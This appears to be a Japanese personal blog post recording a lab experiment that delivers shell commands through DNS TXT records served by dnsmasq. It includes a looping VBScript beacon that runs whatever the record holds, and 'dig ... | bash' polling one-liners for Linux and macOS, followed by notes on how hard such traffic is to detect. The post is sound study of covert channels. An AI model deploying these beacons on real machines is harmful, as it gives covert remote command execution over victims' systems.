nknskn ネタ置き場

IT使ってなんかやってる人間のたわごと

vbscript/one liner shell + dnsmasqでtxtレコード使ってコマンド実行とかして遊んだ話

VBScriptで遊んでみたpart X。shell(For linux, macOS)で同じことをもっと楽にできそうだったのでついでに試した。

TL;DR

  • DNSマルウェア関連の話で出てくるHeartbeetリクエストで怪しいドメインサブドメイン部分)に対してクエリ投げてるってとこ、コマンド実行だけだったら別に怪しいドメインに対するリクエストは必要ないよね(前提part)
  • 作るだけなら結構簡単。dnsログもテキストに残るからbeacon管理も紹介記事に出てくるHeartbeetの例みたく、怪しいサブドメインひっさげてクエリ投げなくてもlog parseでいけそう(構築・実験part)
  • 単にコマンド実行のためだけの代物が入り込んでる場合、情報が「実験」内でのクエリ(_acme.example.com, _acme.example.co.jpへのtxtレコード取得)みたいのだけだと発見はしんどそう、コマンド実行回数と送信先のチェック組み合わせだとか、検知の仕組みはちょっと考えないといけない気がする(所感part)
  • For CTFerな小ネタかもしれない

TOC

前提


構築

  • 環境(dnsmasqをkaliに入れて設定するだけ)
    • Server: dnsmasq on Kali
    • Victim 1: Windows 10
    • Victim 2: Kali(the same host as "Server")
    • Victim 3: macOS 10.15.6
  • Install and start dnsmasq
# ifconfig eth0 | grep "inet "
        inet 192.168.24.55  netmask 255.255.255.0  broadcast 192.168.24.255
# apt install dnsmasq
Reading package lists... Done
(snip)
# mv /etc/dnsmasq.conf /etc/dnsmasq.conf.default # backup
# echo << EOC > /etc/dnsmasq.conf
address=/.example.com/192.168.24.55
log-facility=/var/log/dnsmasq.log
log-queries
txt-record=_acme.example.co.jp,"Wscript.echo paylaodDomain" # For Windows
txt-record=_acme.example.com,"id;uname -a;echo $SHELL"
# For Kali, macOS
EOC
# dnsmasq --test
dnsmasq: syntax check OK.
# systemctl start dnsmasq
# netstat -anu | grep 53
udp        0      0 0.0.0.0:53              0.0.0.0:*                          
udp6       0      0 :::53                   :::*  
# dig -t txt _acme.example.com @localhost | grep -i txt
; <<>> DiG 9.16.4-Debian <<>> -t txt _acme.example.com @localhost
;_acme.example.com.     IN  TXT
_acme.example.com.  0  IN  TXT "id;uname -a;echo /bin/bash"

実験(遊ぶ)

Victim 1(Windows)

Function DnsCommunicator(mode, host)
    Dim sh : Set sh = CreateObject("WScript.Shell")
    Dim cmd : cmd = "%comspec% /c nslookup -q=" & mode & " " & host
    Dim cmdResult : Set cmdResult = sh.exec(cmd)
    Dim str : str = ""

    Select Case mode
        Case "txt"
            Do While Not cmdResult.StdOut.AtEndOfStream
                str = str & cmdResult.StdOut.Readline() & vbCrLf ' ここもっといい書き方ありそう
            Loop
            Dim regEx : Set regEx = New RegExp
            regEx.Pattern = Chr(34) & "(((\\\\" & Chr(34) & ")|[^" & Chr(34) & "])*)" & Chr(34)
            regEx.IgnoreCase = True
            regEx.Global = True
            Dim Matches : Set Matches = regEx.Execute(str)
            instruction = Replace(Matches(0), """", "") ' ここの(0)は決め打ちでいいのか疑問
        Case "a"
            '''''''''''''
            ' TBD
            '''''''''''''
            tmp = ""
            Do While Not cmdResult.StdOut.AtEndOfStream ' ここももっといい書き方ありそう
                tmp = cmdResult.StdOut.Readline()
                If InStr(tmp, "Address") Then
                    str = str & tmp & vbCrLf
                End If
            Loop
            Instruction = str
    End Select

    DnsCommunicator = instruction
    Set sh = Nothing
End Function

paylaodDomain = "_acme.example.co.jp"
nameSrvDomain = "192.168.24.55" ' 実際にはつけないだろうなぁ
mode          = "txt"
sleeptime     = 3 * 1000


Do
    res = DnsCommunicator(mode, paylaodDomain & " " & nameSrvDomain)
    Wscript.echo res
    Execute res
    Wscript.sleep(sleeptime)
Loop
  • 試す
> cscript dns_exec.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Wscript.echo paylaodDomain
_acme.example.com
^C

Victim 2(kali)

# dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash
uid=0(root) gid=0(root) groups=0(root)
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
/bin/bash
# while true; do echo "----"; date; echo "----"; dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash; sleep 10; done
----
Fri 28 Aug 2020 06:00:59 PM JST
----
uid=0(root) gid=0(root) groups=0(root)
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
/bin/bash
----
(snip)
----
Fri 28 Aug 2020 06:01:39 PM JST # <---- txtの中身をwhoamiにしてsystemctl restart dnsmasq
----
root
(snip)

Victim 3(macOS)

% dig -t txt _acme.example.com @192.168.24.55 | grep \" | awk -F\" '{print $2}' | bash
uid=501(nknskn) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
Darwin nknskn-MacBook-Pro-2020.local 19.6.0 Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020; root:xnu-6153.141.1~1/RELEASE_X86_64 x86_64
/usr/local/bin/zsh
% # 以降、kaliでやった場合と似た感じになるので省略

dnsmasq log

# less /var/log/dnsmasq.log
Aug 28 18:31:51 dnsmasq[3791]: reading /etc/resolv.conf
Aug 28 18:31:51 dnsmasq[3791]: using nameserver 192.168.24.1#53
Aug 28 18:31:51 dnsmasq[3791]: read /etc/hosts - 10 addresses
Aug 28 18:32:47 dnsmasq[3791]: query[TXT] _acme.example.com from ::1
Aug 28 18:32:47 dnsmasq[3791]: config _acme.example.com is <TXT>
Aug 28 18:33:05 dnsmasq[3791]: query[TXT] _acme.example.co.jp from ::1
Aug 28 18:33:05 dnsmasq[3791]: config _acme.example.co.jp is <TXT>
Aug 28 18:34:36 dnsmasq[3791]: query[TXT] _acme.example.co.jp from 192.168.24.54
Aug 28 18:34:36 dnsmasq[3791]: config _acme.example.co.jp is <TXT>

所感とか

  • 上のようなvbscript(wsh)だったりshellscriptだったりがpersistenceされていたら、とりあえずDNSを疑いたい
  • しかしDNSのクエリログはともかく、レスポンスまで保存してる企業なんてあるのか?無理だろ
  • DNS使って命令送りこみつつ、HTTPで出てくる口を探すとかやってるグループあったりすんのかな。めっちゃ時間かかりそうだけど
  • この手のがInitial accessに使われてたりすると通信ログだけから「感染している端末があるかどうか」を見つけるのは大変そう、というかほぼ無理な気がする(自分でできる気はしない)
  • 取得したデータのdecode箇所の実装を頑張れば、Aレコードとか他のレコードに対するクエリを使って命令の取得ができそう
    • ただしDNSクエリ数はその分増えるから、DNSログのホストについてカウントできるならある程度は炙り出せる(可能性はある)
    • まあ実運用的にはログ量の問題で困難極まりない気もする
  • vbscriptのコードをマクロに仕込んで送付される可能性はあるのか?という疑問に関しては「送る分には可能だけど、検知されるかどうかというとこで条件あり」とだけ
  • 完全に防ぐのはしんどい気がする、初弾のあとで、攻撃者ができないことを増やしていく方が現実的な気はする
    • ユーザの操作性を奪わない程度にやらないといけないと考えると、バランス難しい

以上